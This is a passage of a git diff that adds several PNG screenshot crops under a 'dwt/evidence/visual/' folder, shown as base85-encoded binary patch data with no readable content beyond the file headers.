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 W8s!E2MKI0)zSHgd{O^7`_rCzd{M0!B literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_persist_crop.png b/dwt/evidence/visual/msg_persist_crop.png new file mode 100644 index 0000000000000000000000000000000000000000..6415c93f49561b83a67b74cc4dbf89141cae636d GIT binary patch literal 1439 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

^-1ZdKh4DghW2!LkdmI4=${K5tcuoh5BM zE1Y^%Y(~fAtlAF1Haukh^O~0d%AI>nbkUZC+fL#$FL*vs%WHS}jv>zO%spKp=E4f_ zXE)eSpQ`m}UQ(X@C~#<4+@3)=!@BMXDK-{w>gs-y(h`pooj?k(r#jM2V<(R|iF~D_ zQ={KZAHGxPwtL*66c{tpn^b-%KhjIZUkZpiyyH(To!g(c8O2p_EbnYY>XKLG`4MmB zFuL`MGFn>o(t9!-hO$&VsrAnzM0@6ynOn3<(2bY3kVh`0;|9$wj;sZ>b4+5|1~Di; zzhQiMH)S;q`?{bO;p{uPag>3ID~ym-ATCcTTleI}o*cG2l``oh(1;s;Q0Ot`v?$)Z zsJad>JM0gQRR%=uXC(-Ro;*O_b`8_PQpw&b@3I$Isp+<#Ga5rY#4xUXbIh!8zRM>1 z5u%F%-V+CV1>|Tr?tPsAGxVj(qQAVx|EO3Bav()_)2sC`<#RyKU{>GrIU0t3Hkff# z5%;V5g`VAK_GO@bz6UB0gf6P7Hj1iGm{+XqLOjPnepVO*z1~HQ&HsxW|IQVNyR%nkS z=)j$f{cIu;eW0bH#=5q<`ZwaM^)v;*9~Zu)*~EIKsG zV3&vcmwrAQH*MJP<&iJZp=YAPqmM;?xh8&--KH;3hM$SjleAG?AY25`8NfWec9nho H&3FF?7RdTx literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_scroll_crop.png b/dwt/evidence/visual/msg_scroll_crop.png new file mode 100644 index 0000000000000000000000000000000000000000..037faf3c431f9ac000235b35cd92a7e21981a6ea GIT binary patch literal 925 zcmeAS@N?(olHy`uVBq!ia0y~yU^)h5H!%VUhFn);Zy=?R>=ES4z)+>ez|hdb!0-zw z)bN6Vq11qZ;Z*_ygVhWM2JwP9y8>;15==?n?k)_Bce{j_0D0^sp1!W^uegLb82PNF zBlv+rswJ)wB`Jv|saDBFsX&Us$iT=<*U&)M&?3aZ!pgwF%G5v`NE#UYjp;K)(U6;; zl9^VCTSE_{Suaq72Hb{{%-q!ClEmBsbUlVvh9(e8TrP*T0`;hX^aSUpm6RtIr84+B z`noC@=owj9Drn>;=B63|S-L5iMJ1J*lL8Mq0M+Y&)mIjmq~C@g%}zc7$`(2 zl%y8rX67a4C}@-!=@}`cWftXvjMV(yTH6K;9Z63Y$B>MBZ*Oh%I_w~G{Nn;A@rC*U zC%Atw$a>9p-4G+zuEEE5Fl0`PUY>3A2g^CDwp>`crn<7C4Bt*URVNw4 z6JHNiYVi4g_!OX~8d#VnQxqV!ysv$FbK1q;Q}49nt{p!S|8sf$l<;|HXBXZ#*fg=w z=>FuM^M!}FOV9aiI z6N`7gMnAt&eBzwY1Ec7vVLsgGkiyuI>dZhVrnlB(0qt2@1NP14hQ{V~p` z)ua+Ix8YLxZ{pDfXY z)FACOKG|2>PHhR>@q6<$&$Szj)=q5!@*WhrWxAPdns|Lu=GqP6=4(a2^|@r1woe7C zxGEa5Z0n&ujtjcY=@`_FE z^;eN;<=U#B_eATikA8S8a{Z%)Th>m$YNgYE=DTcXzR49S+x|7*L_eIUsaE{)E&s#2 l$qy}3OLLyrshIub7Fn=_m*@SpC&0wT;OXk;vd$@?2>?%{cSisK literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_scroll_frame07979.png b/dwt/evidence/visual/msg_scroll_frame07979.png new file mode 100644 index 0000000000000000000000000000000000000000..79d310199fac84cf858d4b1724dee33aa6190cf7 GIT binary patch literal 18453 zcmeHvd0dm%wl>zbR8cuSTIrD?R2{Otr$I6dE;&bjw@zu#B>&^O_I_q+Dm z&tB_U&)%EUyM4Up&R#Uz#KdGSeEZftCMF+)%bDMO_7V8cePt&2*E<=$b&FqGfw;Rn zXP~tDJ72vXQMcr9N6YsgeY1G!`d@+xFWSCs93A$G8Evi%bAspC!eOmyEgti+;j#>) z=jraP`Aq=b0X{K$RMz7>YrQh|I~moKV6q*2XQ4_r^>~$~@7*4?g3>%_ZUPP^NgVJ5cloMNv}R2Ii{T%E~T@X7IuKJ#Nm4Q0A2srj*B zz0Y#}%5&iBAG(yLoB8^W2`WN4g1MK$#|mL43*8J)tS@VUnKWJ|^G28hI+IPRy5bNg zeQOL^(|5d7I7ki$ue;QJf?%Sl^a>j`-JF8prK)e;=69QOegRKcm4|C)UJ)K6Jy$v0 zkZ!?-Z7^6&U(r3XpB>6UHD|do_@akI^W9k;c#Jp7#r35uOR%QUoa1s2Je}+<%5n`x z_LNAo#4r{Q)21s*3T zU^vFm!~j36&@fEoagVfS$3SZfemSH6=&Y(w-!BO_4sbM1#WTrm7)KgE{eqJ@nRq*N z$h)>kUQ^HZ@8BOd7@M+DWBRL_PndCiXi#hH)~dcD!i;E%+!73{VW4g7yJO7tW}DRn zOYL40xGQ($Y% zK!wKn!v~GA+cM9&ni+q(Y8SS|FbvooHJ#NQgD;81`0fLp-j+ChC*k|q48rWy>%foHd{gW4X2VbY1192E zoTgrTX6UH_k% z<;Fw;tg=603x_`jjzxkH$I8&guUaw~Kb{1fV#hHcC+7QXNqkx@aP!^*-LlmjLp(38 z3)X8%L+iO~#$4QvFelNSH9k*4|H~Na5#? zMl!9-gfVfe(!veR*Z$OgCcO{Dzbd*+U3=tR(Epg-J)8{8q1>$xagd<)$iWQ@Zce%3 z5Gv#z`Bk@8^RXL~Ex1%c2~0tsTJX8*Q2uVj*7*bIC?|%RN~l}^@>&AMIsx~3B)sD( zS}qIs4j*8z5j-bB1DNOWV~&IHP1ixEDnrAD3C`J$lF?)R$R7`jv7vqE+iiMl3dZP4 zWU1=w0J1M1zAK%dpq*po-Xl23p+0N9-@z|)^5QS+CtT(rG0d~>$X3xw=`*bM<;hNb z&tvi{UE_f2{(%L>48%8jY8HdP*D9}&QhyNhDYwh_?aR|1-|(Hcqtg+drcOiA)iQzW z{#juz@wG?akoYjGuUnd4NFOypN*aot%k1urIp!uXqMd1bE#{q(z730JpK+_%{cyPt z0rK-0rMBKhkfqrLCJN#R`d*|&ArjzZWnYzH66MFU-ahj=noJ%0QS9xuh#FO*UBGFG z8Xy-iR0}u`VtLU)OqRq=-a^V@Y*l6-46ov-F)uR-=NPa58;(EspshvdaxbfUZtyH@`aE|^KYCjcRcUQgND-pv7WPYD+0i2knfrqkik1tI;wPc5l6_j=)P^qo zYb1!z!){T;*wk->+Hs2B3+F!=e|G6-Lwo|UX+0yFqmNQ2z?8cYJ z<&PZ@JdZWMRH#fYN&2NNs#m()8{t;RR<;&7`KGvITSslZ2j**S>aQcnoYtms<*+A0 z`p}ex$_)!=WB87RsB+zPO-RW=ec8k;ZqB?7P34xjjpzNgX>F+Tk%Vs-hFju&#?x-l zg)Y>HiG5Y=T@39<)!BcsF4DVP7@#18vS0e=m)j6zeeUy9eX#43^p!&wqhu**7EE_q z&^33s@=qNNhntgRzi}D@h4+SgESVMhuQ-Te{T#^&#kE`bS6{St<>GB`%ip;}`PE9; z#rndc=KJ$QX*;kxB-hP%hQq1-gbiUCu}m=K0JTG3$ID}64ysXH__jojwW^z7!+tG>Sx?Mgw)`2 ziUY{2kPEss!x#+t;e3!n>GuuajMd!v>n}C0m>~U;q78Je__RB{=9Oq7P5@dKQx!+? ztr+Iw@gI?dab5=6%}!nN)FZrSKw%vH5>}O-ndnO4D!@ZSm$z_FQJ^5CKNjo) zX`}6S;kJ7ZuxjP3G*V?A1(R+fU(g>vd&AGR_T4@oze_2SBYHtEIz6f#@j{x2ayxT6 zY9~Vds;ctSVChDhPWXx)M&0nh z2*31nlsLe{_l{xjXzx6L0u$4-)lL%GxGYjM*qr$|)~3HNON%It8r;xsb8m!0;@0py z?I0_l&)W8?HA$m8Trt}!ZE%eaOX25s68s}y-ZYF}U);z8FA`y^&fQ=B#ycZay4xES 